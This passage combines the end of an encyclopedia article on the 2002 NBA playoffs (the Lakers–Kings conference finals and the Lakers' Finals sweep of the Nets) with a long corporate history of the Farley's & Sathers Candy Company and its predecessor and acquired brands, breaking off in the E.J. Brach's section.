In Game 4, Sacramento again got out to a fast start with a 40-point first quarter and built a 24-point first half lead. However, the Lakers cut the lead to 14 at halftime with a Samaki Walker 3-pointer at the buzzer that should not have counted (replay was not used at the time), and to 7 after three quarters. They whittled it down to 2 on the final possession with a chance to tie or win it, but Bryant missed a running layup and Shaq missed a put-back attempt. Divac knocked the ball away from the hoop in an attempt to run out the clock, but instead it wound up going to a wide open Robert Horry behind the 3 point line, who hit the 3 over Webber at the buzzer to give the Lakers an improbable victory, which tied the series going back to Sacramento. Horry scored 11 of his 18 points in the 4th quarter, including two more crucial 3-pointers. O'Neal finished with 27 points and 18 rebounds, Bryant had 25. Divac, Webber and Bibby all finished with 20+ points for the Kings.
As the series shifted back to Sacramento for Game 5, the Kings trailed almost the entire fourth quarter, but a jump shot by Bibby off a screen with 8.2 seconds left gave them the lead and was the game-winner in a 92–91 win. Bibby scored 23 in all, and Webber had 29 points and 13 rebounds in support. Bryant led Los Angeles with 30 points, but missed a potential game winner at the buzzer. O'Neal had 28 points, but did not take a shot in the 4th quarter and fouled out.
Game 6 is considered to be one of the most controversial games in not just NBA history, but arguably all of North American professional sports history, as numerous questionable calls went against the Kings in the fourth quarter. The Lakers, led by O'Neal's 41 points and 17 rebounds, won 106-102, setting the stage for Game 7 in Sacramento. There are allegations that the game was affected by the referees in relationship to the Tim Donaghy scandal. The Lakers shot 40 free throws overall, 27 in the fourth quarter alone, and the Kings' big men were plagued with foul trouble (Divac, Webber, Scot Pollard, and Lawrence Funderburke were called for 20 fouls, with Divac and Pollard both fouling out). Webber nearly had a triple double (26 points, 13 rebounds and 8 assists), Bibby scored 23, and Divac had 12 points and 12 rebounds. The Washington Post sports columnist Michael Wilbon responded to the calls in Game 6: "I wrote down in my notebook six calls that were stunningly incorrect, all against Sacramento, all in the fourth quarter when the Lakers made five baskets and 21 foul shots to hold on to their championship." For example, Wilbon pointed out that Kobe Bryant did not get a foul called on him after elbowing Mike Bibby in front of an official.
Game 7 was tense, featuring 16 ties and 19 lead changes. In the final ten seconds with Los Angeles up 99–98, Peja Stojaković air-balled a wide open 3, and O'Neal was fouled on the rebound. After O'Neal hit 1 of 2 free throws, Bibby was fouled by Bryant and made both free throws to force overtime. The Kings' offense stalled in the extra period, and the Lakers prevailed 112–106. Sacramento was undone by poor free throw shooting (16–30 from the line), a horrid 2–20 from behind the arc, and a seeming unwillingness for anyone other than Bibby to take crucial shots down the stretch. O'Neal scored 35 and Bryant added 30 in the victory, as all five Lakers starters finished in double figures. Bibby finished with 29 points, and Webber finished with 20 points, 11 rebounds, and 8 assists. Divac added 15 points and 10 rebounds.
This would be the last Western Conference finals to be decided in seven games until 2016.
Announcers: for NBC, Mike Breen announced Game 1, Marv Albert Games 3-7; Bill Walton & Steve Jones joined them as the analysts. TNT had Kevin Harlan, Danny Ainge, & John Thompson on hand for Game 2.
This was the tenth playoff meeting between these two teams, with the Lakers winning eight of the first nine meetings.
NBA Finals (W3) Los Angeles Lakers vs. (E1) New Jersey Nets
In Game 1, the Nets stayed within striking distance, but Shaquille O'Neal's 36 points and 16 rebounds led the Lakers to victory. In Game 2, the Nets were blown out by 23, with O'Neal leading the way again, putting up 40 points and 12 rebounds and coming within 2 assists of a triple double. This brought the series to New Jersey with the Lakers up 2-0. Game 3 was a close matchup with Jason Kidd, Kenyon Martin, O'Neal, and Kobe Bryant all scoring 26 or more points. Bryant and O'Neal's combined 71 points was too much for the Nets to handle though, and the Lakers took a 3-0 series lead. In Game 4, O'Neal put up 34 points and the Lakers won the game and the championship, accomplishing the NBA's second three-peat in seven years. Game 4 is Mitch Richmond's final NBA game.
This was the first playoff meeting between the Nets and the Lakers.
Statistical leaders
References
External links
NBA.com's 2002 Playoffs coverage
National Basketball Association playoffs
Playoffs
Sports in Portland, Oregon
fi:NBA-kausi 2001–2002#Pudotuspelit
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https://en.wikipedia.org/wiki/Farley%27s%20%26%20Sathers%20Candy%20Company
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Farley's & Sathers Candy Company
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Farley's & Sathers Candy Company was created as an umbrella company to roll up many small companies, brands and products under a common management team. The confectionery business segment is made up of many small companies, often with intertwined relationships and histories.
Catterton Partners formed the Farley's & Sathers Candy Company in 2002 as a vehicle for the purchase of some of the former Farley Foods Company and Sathers Candy Company assets and brands from Kraft.
Since that time, additional brands and businesses have been added to the roster.
In 2012, the owners of Farley's & Sathers, L Catterton Partners, purchased Ferrara Pan Candy Company. L Catterton Partners retained controlling interest in the company, and the name of the company was changed to Ferrara Candy.
History
Under Favorite Brands ownership, the formerly independent Farley's and Sathers companies were combined with the Dae Julie Company and with Trolli. Under Favorite Brands' management, Dae Julie was rolled into the Farley division while Sathers and Trolli remained as separate divisions. Favorite Brands was eventually acquired by Nabisco, and then shortly afterwards, Nabisco itself was merged with Kraft Foods.
After the merger, as Kraft divested brands, divisions, and assets, Farley & Sathers emerged as a new company in its own right though shorn of a few key business units. The North American Trolli operation, which had been retained by Kraft, was eventually sold to the Wrigley Company, who subsequently sold it to Farley & Sathers. Much of the history of these companies is intertwined: Sathers bought much of its bulk candy supplies from Farley; the growth of Farley Foods before Favorite Brands was in no small part due to the implosion of E.J. Brach's which itself became part of the new Farley's and Sathers organization; the problems at Favorite Brands could be partially attributed to a resurgent E.J. Brach's after it merged with the Brock of Chattanooga candy company to become "Brach and Brock". When sold by Kraft, Farley lost its fruit snack business but kept the Dae Julie gummi plant; with Farley & Sathers' purchase of the Brach and Brock company, it regained a fruit snack business though it had lost its advantage as first to market in the category. Many plants and distribution facilities were closed, consolidated, or replaced over time.
Company roots
Sathers
John Sather, a local grocer in Round Lake, Minnesota, established the Sather Company in 1936. He purchased trainloads of cookies to sell to stores throughout southwestern Minnesota.
By the early 1960s, Sathers distributed products to the five-state Midwest region. The territory grew and product lines and operations changed to include the addition of a nut roasting operation in the 1960s. With the addition of telemarketing in 1967, the customer territory expanded to eleven Midwest states. With this increase, Sathers added tractor trailer units to its trucking fleet.
Sathers was primarily a rebagger. Rebaggers purchase product in bulk, in pallet-quantities or container loads if imported, and repackage it into smaller retail packaging. One source Sathers used was Farley Candy Company though many other sources were used as well. Many of its chocolate products were provided by the Haviland Candy Company, a division of NECCO.
The Sathers company is considered to be the innovator behind packaged "pegboard" or "hanging bag" candy, now one of the candy industry's primary marketing programs for general line candies. Another innovation was the telemarketing system it implemented when its sales force quit en masse due to low wages. The sales people had been required to not only sell the product, but also to deliver it and stock it on store shelves. Sathers' telemarketing initiative is considered one of the earliest implementations of this process, where orders were taken by phone and the customers would unpack and stock the shelves themselves.
The company continued to expand and in 1972, Sathers went nationwide with product distribution when it secured half of the national Kmart business. When it acquired Chattanooga-based Kitchen Fresh Company in 1983, the remainder of Kmart's national business became Sathers'. Sathers' expansion continued with the company purchasing the Bayou Candy Division of the American Candy Company in 1985; Powell's Candy Company (of Hopkins, Minnesota) and Northstar Candy Company (of Rogers, Minnesota) were both acquired in 1991. Sathers now had three manufacturing facilities—(a nut roasting and processing plant in Chattanooga, Tennessee and two confectionery plants in Hopkins, Minnesota and in New Orleans, Louisiana)—in addition to their two distribution centers.
Farley
In 1870, Gunther Farley and two of his brothers founded Gunther Chocolate Company. Gunther Chocolate Company later merged with another, smaller, Farley-family-owned candycompany in 1891, becoming Farley Candy Company.
As it grew, Farley Candy moved its operations from North Franklin Street in Chicago, then to Superior Street, and then, in 1951, to the north suburb of Skokie. It passed to a third generation of the Farley family, represented by Preston Farley, who managed it until 1968. In that year, Preston Farley sold a majority interest in the company to Raymond Underwood.
During the Preston Farley and Underwood years Farley was primarily a manufacturer of jell and other products, manufactured in starch moguls; Farley also produced cinnamon imperials, a panned product, and a line of hard candies including sanded lemon hard candy. Preston Farley invented the Farley Jet Cooker, subsequently licensed to the Staley Company. The Jet Cooker is now known as the Staley Jet Cooker per the licensing agreement, and is still used today in the manufacture of confections and paper.
In 1974, William Ellis purchased 100% of the company. In the same year he purchased the Lakeside Candy Company, located in Zion, Illinois and commonly known as Zion Candy, which produced a full line of individually wrapped hard candies such as starlight mints and butterscotches.
In 1981, Farley was operating out of its plants in Skokie and Zion, Illinois when a third plant was added. A plant, formerly used to produce the York Peppermint Pattie and Power House bar was purchased from Peter Paul-Cadbury. This plant became Farley Candy Company's primary chocolate manufacturing site, though it also produced other products.
In 1985, Farley bought a vacant warehouse in Chicago on 31st Street, and converted it for confection manufacturing. This large plant became the primary manufacturing facility for Farley when it came online in June 1986. This plant was used primarily to manufacture a newly emerging category of candy: Fruit snacks, and later, Fruit Rolls. Fruit Snacks were manufactured using the same equipment and processes as gummy candies, using real fruit juice as an ingredient and vitamins added, formed and molded in starch moguls. As gummy candies became more popular, this plant and equipment was used to meet rising demand for those products as well.
In 1988, Farley took over the operations of Jaffe Candy, located in Compton, California, establishing a packaging and distribution center on the West Coast. Also in 1988, Farley's leased a warehouse distribution center in Bedford Park, Illinois. With four candy manufacturing plants and two distribution centers, Farley Candy Company was the second largest bag candy manufacturer in the United States and was the largest private label general line candy manufacturer.
In 1990, Farley purchased a , former E.J. Brach's factory, located in Melrose Park, Illinois. This plant was used for a wide range of products, but primarily produced hard candies, eventually replacing the plant in Zion, Illinois and concentrating production facilities within a smaller radius of the company's warehouse/distribution center. One of the main products produced on state-of-the-art equipment at this plant was Starlight Mints, at a much lower cost than those from competitors such as E.J. Brach, for which it was a mainstay product.
In 1993, facing capacity shortages, Farley (which had changed its name to Farley Foods USA to allow for future expansion to products outside of confections) purchased a manufacturing plant in Oklahoma City, Oklahoma along with a warehouse in Moore, Oklahoma. These buildings had been the main production and warehouse facilities of the Bunte Candy Company. They were sold to the American Candy Company in 1990, which then sold them to Farley.
In 1994, Farley leased a warehouse and distribution center on 43rd Street in Chicago which was closer to expressways and to its major production facility at 31st Street. This new warehouse replaced the Bedford Park facility.
In September 1995, William Ellis received a heart transplant at age 71. In August 1996, Farley Foods was sold to Favorite Brands International with Ellis taking a 14.3% ownership stake in the new company.
Favorite Brands International
Farley and Sathers first came together under the Favorite Brands International name in 1996. Favorite Brands had been created a year earlier, in 1995, with the purchase of confectionery business units from Kraft Foods.
Kraft business lines acquisition
Favorite Brands International (FBI) was formed in July 1995 to purchase the branded and private label caramel and marshmallow businesses from Kraft Foods for an estimated $204 million. It was funded with investments from the Texas Pacific Group (TPG) and InterWest Partners.
With the purchase of the Kraft business units, Favorite Brands became the largest manufacturer of marshmallows and the leading manufacturer of wrapped caramel products in North America. They also produced a significant percentage of the private label marshmallows sold. The Kraft caramel business enjoyed a market share greater than 50% at the time of the purchase, while the Kraft-branded marshmallows enjoyed a marketshare greater than 60%. In addition to consumer candy and marshmallows, Favorite Brands also acquired the industrial caramel and marshmallow businesses of Kraft. This business supplied the dehydrated marshmallows (with a 98% share of the market) marshmallow creme and caramel for use in breakfast cereals, instant hot chocolate mixes and taffy apples. Favorite Brands received film credit for supplying the truckloads of marshmallow creme used in the film What Dreams May Come.
With the acquisition came a confectionery manufacturing facility located in Kendallville, Indiana. Built in the 1920s and situated on , this became the main manufacturing facility after 4 other Kraft marshmallow manufacturing lines were relocated from Buena Park, California, Canada and Garland, Texas (2 lines).
Sathers Candy and Farley Foods acquisitions
In 1996, Favorite Brands purchased the Sathers Candy Company and the Farley Food Company.
Kidd Marshmallows
Also in 1996, Kidd & Company was purchased. Kidd was the second largest marshmallow and marshmallow creme manufacturer in the U.S. with sales of over $32 million in 1995. Favorite Brands had now purchased the top two marshmallow producers in North America.
Founded in 1895 by Albert Eugene Kidd, it initially produced a wide array of products including face powders, roasted peanuts and lemon drops. In 1917, the company began manufacturing marshmallows. By 1938 Kidd & Company had concentrated its focus on the marshmallow business, and especially marshmallow creme. It used a casting method of production, pouring marshmallows individually in molds. In 1947, they opened a plant in Ligonier, Indiana. In 1948, shortly after Kidd brought their new plant online, Alex Doumakes patented a new, more efficient process for producing marshmallows using extrusion. This method forced a rope of marshmallow through a die under pressure, which was then cut into the bite-sized pieces familiar today. Alex Doumakes later started his own marshmallow company. Kidd's plant was updated and expanded over the following years and ultimately grew to be . The Stay-Puft marshmallow bag props in Ghostbusters (1984) were produced by Kidd & Company.
In 1987, Kidd & Company built an additional plant west of the Rocky Mountains, in Henderson, Nevada. This plant was and was destroyed on May 4, 1988, when the PEPCON rocket fuel plant located next to it exploded. Rebuilt with more space in 1989, it continued as the west coast manufacturing and distribution point for Kidd & Company, and became a popular tourist attraction due to its guided tours.
After Kidd & Company was sold to Favorite Brands International in 1996, the Ligonier plant was closed in 1996 and production moved to the former Kraft plant located less than away in Kendallville, Indiana. After Kraft gained control of Favorite Brands and the Kendallville and Henderson plants in 2000, they closed the Henderson plant in June 2001 and relocated the manufacturing equipment to Kraft's plant in Kendallville, Indiana. Today the specially designed building with its clean rooms is used by the Clark County Maintenance department.
Ligonier, Indiana celebrates its Kidd's Marshmallows production heritage by holding the Ligonier Marshmallow Festival every year since 1992, even though marshmallows are no longer produced there.
Dae Julie acquisition
In early 1997, Dae Julie was purchased. Dae Julie was founded in 1963 as a candy importer by David Babiarz. In 1990, Mr. Babiarz went on to start a new business and built a new plant to support it. The new business registered as Candyland, and the new facility was a state-of-the-art manufacturing plant located in the Chicago suburb of Des Plaines, Illinois. The primary product focus of Candyland was Gummy candies for which demand was rapidly rising, though the starch-molding equipment could be used for a wide range of products. A trademark search revealed 30 other companies using the name Candyland, so the decision was made to use the Dae Julie name on Candyland products. At the time of its acquisition in early 1997 by Favorite Brands, it was considered one of the top Gummy manufacturers in the country, with annual sales of over $40 million (at manufacturer prices). Overall retail sales of Gummy products was estimated to be between $150 million and $175 million in the year of acquisition, with Nabisco's Gummi Savers accounting for $40 million of that total (at retail). Trolli, Farley Candy and Ferrara Pan were the other large producers at the time for the U.S. market.
North American Trolli acquisition
Later in 1997, the North American operations of Trolli Gummies was added.
Gummy Bears were originally developed by Hans Riegel Sr. of Bonn, Germany in 1922. He then started the Haribo (acronym for Hans Rigel, Bonn) company to produce the little rubber bears.
A different German candy company was started in 1948 by Willi Mederer. Originally the company was named Wilmed, but in 1975 the name was changed to Trolli. The company developed Gummy Worms in 1981 and sold them under the Trolli brand name, using a rainbow-haired Troll as their mascot. In 1986, to expand its market and lower its shipping costs, Mederer began producing Trolli-branded gummies in a plant located in the U.S. in Creston, Iowa.
Favorite Brands purchased the Trolli U.S. manufacturing facility in 1997 and licensed the Trolli name from Mederer for use in the United States. The license applies only to North American sales. An example of a different Trolli license holder is TREXCO.
Favorite Brands
In 1995, Favorite Brands was formed to purchase the largest United States manufacturer of marshmallow products. Then, in 1996, it purchased the second-largest manufacturer of marshmallow products.
By the end of 1996, Favorite Brands enjoyed the number-one market position in branded marshmallow products, including the Jet-Puffed marshmallow brand, which had a 79% share of the branded marshmallow market and a 47% share of the total marshmallow market. In addition, Favorite Brands was the market leader in the ingredient marshmallow category, selling dehydrated marshmallow bits to every major cereal manufacturer in the United States, and was believed to have a 98% share of that market.
In 1996, Favorite Brands' Fruit Snack business held the number-two market position with a 22% market share and it was the second-largest general-line candy supplier in the United States. The Sathers product line was the leading brand sold in convenience stores across the country.
With the 1997 addition of Trolli and Dae Julie, Favorite Brands held the number two market position in the gummi market; Trolli having a 15% share.
By the end of 1997, Favorite Brands was the distant, fourth-largest confectionery company in the United States. At that time, only Hershey, Nestle and Mars were larger. With total annual sales of over $750 million, with leading brands and products in most of its sales categories, how did Favorite Brands go bankrupt within three years?
The president and CEO of FBI, Al Bono, formerly CEO of California Gold Dairy Products of Petaluma, California, was quoted as saying: "Business is business, whether it's dairy or chocolate confections or selling lamps". David Bonderman, speaking for TPG which had invested $512 million in the venture, was later quoted to say that Favorite Brands was one of the worst investments his group had ever funded. Favorite Brands was TPG's first major investment in the food and beverage industry.
Before coming together under the Favorite Brands umbrella, the individual companies were mostly privately owned, with their owners taking a daily, hands-on interest in their operations. Under Favorite Brands' ownership, the companies were stripped of these owners and they were replaced with a management team that had little experience in confections or consolidating the operations of acquisitions. The first management group was replaced by an interim set of management. This interim management was then replaced within a year by still another group. The parallels with the recent experiences at E.J. Brach's (see section below) were striking: rapidly changing upper management - three CEOs in as many years; a disconnect with customers and their needs - reducing promotional support and product choice; a marked increase in overhead expenses, including a large office complex, as well as increased spending for financing and consultants.
The deal seems to have been structured so that the investors' options would remain open: one option being to hold the investment briefly and then flip it, either as a whole or by spinning off the acquired components. Another option was to take the company public. The stated option was to operate the companies so that their synergies could be tapped to reduce the costs of production and distribution sufficiently to offset the ongoing financing expenses associated with the formation of Favorite Brands. While Texas Pacific may have ultimately hoped to take the company public, it became apparent that Favorite Brands' rollup strategy was fundamentally flawed. The company paid too much for its assets and took on too much debt. The acquisitions did not mesh well together, having different operations, different products, and different customers-thus leading to severe difficulties in integrating the operations and achieving any benefits from the company's size. Systems and reporting were quickly integrated, but getting the various Operations, Sales, Marketing and Distribution components working together presented an ongoing problem. When key executives from acquired companies left, Favorite Brands lost an incalculable amount of trade relations and knowledge of the candy business, which had a debilitating effect on business. Some orders were now delivered late or only partially filled, providing an opening for competitors to seize all-important shelf space. Another common experience Favorite Brands shared with the travails which Brach's had endured was the loss of a well-known brand name; Favorite Brands was to lose the 'Kraft' name on its packaging effective October 1997. In addition, Favorite Brands' products were facing ever-increasing competition from competitors such as Brach's, including in the heretofore high-margin Fruit Snack and Gummi product lines.
As cash balances dwindled, Texas Pacific Group was asked to contribute additional funds for operations. It was not until 1998, three years after the formation of Favorite Brands and facing bankruptcy, that 12 surplus distribution centers were closed. Consultants from Bain, hired to explain the business to management and to help them plan a course of action also consumed millions of dollars of limited cash flow, while actually accomplishing little. Under prior private ownership, a layer of consultants explaining the business was rarely needed. Financing costs continued to be a drain on resources.
There was also a culture clash. The brands acquired from Kraft relied on a well-known brand name to drive sales. This culture did not mesh with the brands which sold product based on consumer value. This too was a problem which Brach's had faced, whether to pursue branded or commodity sales. The sales forces of Sathers, Farley's, and Trolli remained separate from those selling the former Kraft brands, never combining to handle "Favorite Brands" products for all customers. Again, there were few actual synergies realized under the combined umbrella of "Favorite Brands".
In the end, the continued separation of the acquired operations allowed them to be sold easily. Nabisco purchased Favorite Brands in November 1999, and by February 2000 had announced plans to close the headquarters, then located in Bannockburn, Illinois, and move the functions and duties to its own Parsippany, New Jersey headquarters. Nabisco was purchased itself in June 2000 and merged with Kraft. After the merger of Kraft and Nabisco, the components of Favorite Brands were sold off, absorbed, or held briefly for later disposal. The Farley and Sathers operations, which included plants, distribution centers and headquarters were sold, with the Farley's Fruit Snack line and production facility being retained. The Fruit Snack business line was eventually sold to Kellogg. Trolli was sold separately, with its plant and headquarters, to Wrigley in 2005. The marshmallow business was absorbed back into Kraft. Unfortunately, the value of the component pieces of Favorite Brands did not equal the price paid. Nabisco purchased Favorite Brands for $475 million in cash in 1999, far less than the approximately $700 million paid to acquire and fund operations of Favorite Brands by its investors.
Farley's and Sathers
Farley's and Sathers, as an independent company, was formed in January 2002 in Round Lake, Minnesota from assets purchased from Kraft Foods for a reported $50 million. At the time, 2001 sales of the brands and products acquired were estimated to be $220 million. Included in the sale were trademarks, Sathers Trucking and main distribution facility. Also included in the sale were six other facilities including three Farley production plants, one of which was actually the former Dae Julie plant located in Des Plaines, Illinois. Since then it has continued to acquire the brands and businesses of others.
Brands purchased from Hershey
Henry Heide Candy
In May 2002, Farley & Sathers acquired several other brands from Hershey.
Known for products such as Jujyfruits, Jujubes, Dollars, and Gummi Bears, it was founded by its namesake Henry Heide in 1869. In 1920 "juju" candies were introduced: Jujyfruits and Jujubes. The only real difference between Jujubes and Jujyfruits, other than the shape, is that Jujubes use potato starch instead of corn starch as their primary thickener and Jujubes are cured longer, making them firmer.
Both candies originally used ju-ju gum as an ingredient, which is similar to many of the other vegetable gums such as gum arabic, acacia, agar or guar used within the confectionery industry. Ju-Ju gum comes from the jujube tree, which produces date-like fruits. Today, corn syrup is the primary ingredient. The Jujyfruits shapes are pineapple, tomato, raspberry, grape bundle, asparagus, banana, and pea pod. The banana shape is stamped with "HEIDE". Flavors include raspberry, licorice, lime, orange, and lemon.
In the 1930s, "Red Hot Dollars" were developed. "Red Hot" being 1930s slang for a "dollar". Hot cinnamon flavor was not available until after Farley's and Sathers purchased the brand from Hershey. Prior to that, the flavor had been a mild raspberry.
In 1995 Hershey purchased the New Brunswick, New Jersey-based Henry Heide Candy Inc. from the family. Farley and Sathers purchased the brands in June 2002 from Hershey, when they had an estimated $40 million in annual sales.
Chuckles
Also in May 2002, the new Farley & Sathers company acquired the Chuckles brand from Hershey.
Demonstrating once again the intertwined nature of the industry, Chuckles was developed by Fred W. Amend, who at one time worked for the Heide Candy Company. He began working for Henry Heide in 1875 in New York City, a period when Heide was concentrating on the production of almond paste. After a series of other jobs in the candy industry, he moved to Danville, Illinois in 1921 and started his own Amend Company to produce marshmallow. Later that same year he began producing a jelly candy. It was Fred's wife, Tulita, who suggested the name of the product. "All candy bars at that time were chocolate. But what if you didn't want chocolate? Our jelly bar was the answer." She dubbed them Chuckles because the name suggested enjoyment. Even during the Depression, when people couldn't afford more expensive treats, they bought Chuckles, she said.
The Amend Company was sold to Nabisco in 1970. In 1986, Nabisco sold the company and manufacturing plant to a newly formed company of local investors and former Nabisco employees for $10 million. The Chuckles brand name and licensing rights were sold separately to Leaf Inc., a unit of Huhtamaki Oy of Helsinki, Finland. The Danville production plant was renamed Tempo Confections and began manufacturing products under contract for others.
In 1996, Hershey acquired the Chuckles brand and license when it purchased Huhtamaki Oy's Leaf, Inc. confection business.
Amazin' Fruit
Purchased from Hershey in May 2002, this product was introduced by Hershey ten years earlier as a heavily promoted attempt to gain a foothold in the growing market for gummy candies. It was designed to compete with the Trolli brand as well as other gummy brands. It included real fruit juice (much like Farley fruit snacks) and came in bear shapes. Later the shapes were changed to fruit designs. During a cross-promotion with the film Jurassic Park: The Lost World dinosaur designs were sold as well.
Brands purchased from Kraft
Now and Later
Purchased from Kraft late in 2002, this product was introduced in 1962. The name was a suggestion for its customers that they eat some of the squares right away and save the rest for later. The old ad slogan for the candy was, "Eat some now, Save some for Later", later replaced by, "Hard 'N Fruity now and Soft 'N Chewy Later". The later slogan describing the candy's consistency over time.
Charles Cari learned to make toffee while working for W.F. Schrafft's & Sons in Boston. In 1919, Cari moved to New York to begin his own candy business in Brooklyn. He sold his business to father and son Harry and Joseph Klein in 1953 for $25,000. They named their company Phoenix Candy Company. At the time, their product line was salt water taffy, peanut brittle, and Halloween candy. It was a very seasonal business and concentrated mainly around Halloween. Now and Later was developed as a product which could be sold year-round. The Kleins invested in new equipment and technology and expanded distribution nationwide, growing the company to the point where production was running two shifts per day, six days per week.
The Kleins sold the Phoenix Candy Company to Beatrice Foods in 1978. In 1983, it was sold to Huhtamäki Oyj of Helsinki, Finland, which previously purchased the Leaf Candy Company. The two acquisitions were merged under the name Leaf, Inc. In turn, Leaf, Inc. sold the Phoenix Candy Company to Kouri Capital, a Finnish investment firm, who changed the name to Phoenix Confections in 1986. In 1992, Kouri sold Phoenix Confections to Nabisco and then in 2000 Kraft acquired the Now and Later brand as part of its purchase of Nabisco.
The original flavors were Red, Green and Blue. Under Beatrice Foods, these flavors became Strawberry, Apple and Grape. For April Fools' Day 1983, three special flavors were released: Broiled Salmon, Chicken-Fried Steak and Huevos Rancheros.
Intense Fruit Chews
Purchased from Kraft late in 2002, this was originally part of Nabisco's Lifesavers brand of confections. Kraft gained control of this product when it purchased Nabisco in 2000.
Gum brands purchased from Hershey
RainBlo
RainBlo bubble gum was created by Leaf Confectionery in 1940; featuring an unusual hollow center, it was the first gumball to have flavoring inside. RainBlo was the first bubble gum that allowed chewers to blow colored bubbles. Along with several other Leaf brands, it was sold in 1967 to W.R. Grace, then was reacquired by Leaf in 1983. Huhtamaki Oy acquired RainBlo when it bought Leaf in 1983. Hershey then bought Leaf in 1996.
Fruit Stripe
Fruit Stripe was established in the early 1960s as Fruit Stripe Zebra, part of the Beech-Nut gum line. Fruit Stripe gum was purchased by Hershey in 2000 as part of a larger gum brand acquisition of Nabisco products.
Hot Dog!
Purchased from Hershey in 2003 as part of a four-brand gum purchase, Hot Dog! gum is a small sausage shaped gumball with either a cherry or (hot) cinnamon flavored shell. As a novelty item, it can often be found in ballparks and at hot dog stands.
Super Bubble
Super Bubble was developed by the Thomas Weiner Company shortly after World War II in the 1940s. The five-cent product was a huge success, but in the face of increased competition, the company brought out a one-cent version in 1948. General Mills acquired Super Bubble in 1969. The gum line was later sold to Leaf and was acquired by Hershey in the 1996 acquisition of Leaf.
Bobs Candies
Ranked as the largest candy cane maker in the world, Bobs Candies was formed in 1919 by Bob McCormack in Albany, Georgia. Originally called the Famous Candy Company, the name was changed to the Mills-McCormack Candy Company when Bob Mills bought out the other investors and began working on the administrative side of the company. In 1924, the name was changed to Bobs' Candy. In 1933, the apostrophe was dropped and the company became known as Bobs Candy Company.
Initially, coconut, peanut, stick, and hard candies were sold, as well as taffy. Chocolate and pecan candies products were then added to the company's product line. Pecan candies, later were marketed as "Bobs Pe-Kons" and "Bobs Pe-Kon-ettes", became a mainstay product until World War II. On February 11, 1940, a tornado destroyed the factory but within six months, the plant was rebuilt and was producing again.
Hard candies were popular during the late 1940s, but high humidity in southern Georgia caused production, shipping and shelf-life problems. Production issues were addressed in 1946 by installing large air conditioners to de-humidify the company's wrapping room. Shelf-life and shipping issues were addressed in 1949 with a new machine that sealed candy stick in moisture-proof wrappers. Increasing production rates via automating the production was accomplished with a creation of Father Harding Keller, a Roman Catholic priest of the Diocese of Little Rock, and McCormack's brother-in-law. Fr. Keller first invented a machine to dispense ribbons of peanut butter on the company's peanut butter crackers. In 1950, Keller invented a machine that twisted soft candy into the spiral striping that defined the look of candy canes and then cutting the canes in precise lengths. Fr. Keller patented his invention, the Keller Machine. Fr. Keller and his machine gained national fame in the 1960s when he was a contestant on the popular TV show What's My Line.
Bobs Candy occupied approximately spread across 6 buildings in downtown Albany. In 1967, construction began on a new facility that doubled the production capacity of the company. This new facility was expanded several times, and by the end of the 1970s had doubled production capacity yet again.
In 1984, a second production facility was opened in Kingston, Jamaica. The plant produced unwrapped, pure-sugar stick candy.
In 1985, Bobs Candies acquired a competitor, Fine Candy, which had $4 million in annual sales at the time.
In 1994 another was added to the Georgia production facility to address capacity issues.
By 2001, Bobs Candies was producing 500 million candy canes per year at its Georgia facility. Half of that production was moved to Mexico between 2001 and 2004 to take advantage of lower sugar prices outside the United States.
In 2005, Farley and Sathers acquired Bobs Candy Company. By the end of 2005, all of the Albany, Georgia operations of Bobs Candy had been shut down and all production was moved to production facilities in Mexico.
North American Trolli re-acquisition
As a component of Favorite Brands, Trolli became part of Nabisco in 1999, then part of Kraft in 2000.
In 2004, under Kraft ownership, Trolli introduced a gummi candy in the shape of chickens, squirrels, and snakes with tire tracks on them, making them to appear as though they'd been run over by a vehicle. Marketed as Roadkill candy, animal rights activists spoke out about the candy in an effort to get it off of the market. The product was taken off store shelves and discontinued.
In 2005, Kraft sold Trolli to Wrigley as part of a $1.48 billion offloading of candy businesses. Included in the sale to Wrigley were such iconic brands as Altoids and Lifesavers, in addition to smaller, local brands such as Trolli. Wrigley subsequently sold off Trolli from this group to Farley and Sathers Candy in the same year.
Brach and Brock Candy
Brock Candy Company
William E. Brock settled down in Chattanooga, Tennessee, in 1906 and bought a small wholesale grocery shop, which sold candy produced on the premises by the Trigg Candy company. This candy operation consisted of handmade penny and bulk candies, peanut brittle, peppermints and fudge. The name was changed to Brock Candy in 1909.
In the early 1920s, a major expansion occurred when the company modernized its factory with the installation of automatic (starch) moguls. Brock then eliminated all slab-produced products such as peanut brittle and fudge and concentrated on jelly and marshmallow candies, which were produced, in his new mogul equipment. Later in the decade, Brock became one of the first candy manufacturers to package its products in cellophane bags. In the 1930s, Brock introduced what would become one of its biggest sellers for the next 60 years, Chocolate Covered Cherries. In the 1940s, during World War II, Brock introduced the Brock Bar, a coated nut roll using corn syrup and peanuts, during a period when sugar was strictly rationed.
In the 1950s, Brock added to its plant in downtown Chattanooga. By the end of the decade though, additional space for expansion was needed, so a site on the outskirts of Chattanooga was purchased. On this site in 1964, Brock added a distribution center, expanding the warehouse another by the end of the 1960s.
In 1976, the company moved its production to a new facility on its site on the outskirts of Chattanooga.
In 1978, the Brock Candy Company purchased the Winona, Minnesota, candy company, Schuler Chocolates. Located in a cooler and less humid area of the country, the Schuler Chocolates company itself was an amalgam of several candy companies, including the maker of the Chicken Dinner candy bar, originally created by Milwaukee-based Sperry Candy Company. The name was meant to convey a sense of wealth and prosperity à la "a chicken in every pot" (another of Sperry's big sellers was the Club Sandwich bar.) Sperry was bought out by Pearson's Candy in 1962; in 1967 it was sold to Schuler Chocolates (which itself was the originator of the corn-flake-spiked Duck Lunch bar). Schuler Chocolates also owned the Milky Way bar, which at its core, is made with a variant of Minnesota nougat developed by candymakers in the early decades of the 20th century, before selling the rights to the Mars Candy Company.
In the 1980s, Brock added gummy candies and fruit snacks to its product offerings. It also began contract and industrial production of its fruit based products.
In 1990, Brock purchased the Shelly Brothers, Inc. candy company of Souderton, Pennsylvania, which held a 1966 patent for molding traditional clear candy. In 1993, Brock bought a 30% share in Clara Candy of Dublin, Ireland with plans for expansion into the European market. By then, Brock had become a publicly traded company, with an initial public offering of 2.3 million shares for almost 63% of the company's stock.
E.J. Brach's Candy
Founded in 1904 by Emil Brach, he invested his life savings, $1,000, in a storefront candy store. He named it "Brach's Palace of Sweets" and it was located at the corner of North Avenue and Towne Street in Chicago, Illinois. With his sons Edwin and Frank, he started with one kettle. Investing in additional equipment he was able to lower his production costs and sell his candy for 20 cents per pound, well below the more typical 50 cents per pound his competitors were charging. By 1911 his production had reached 50,000 pounds per week.
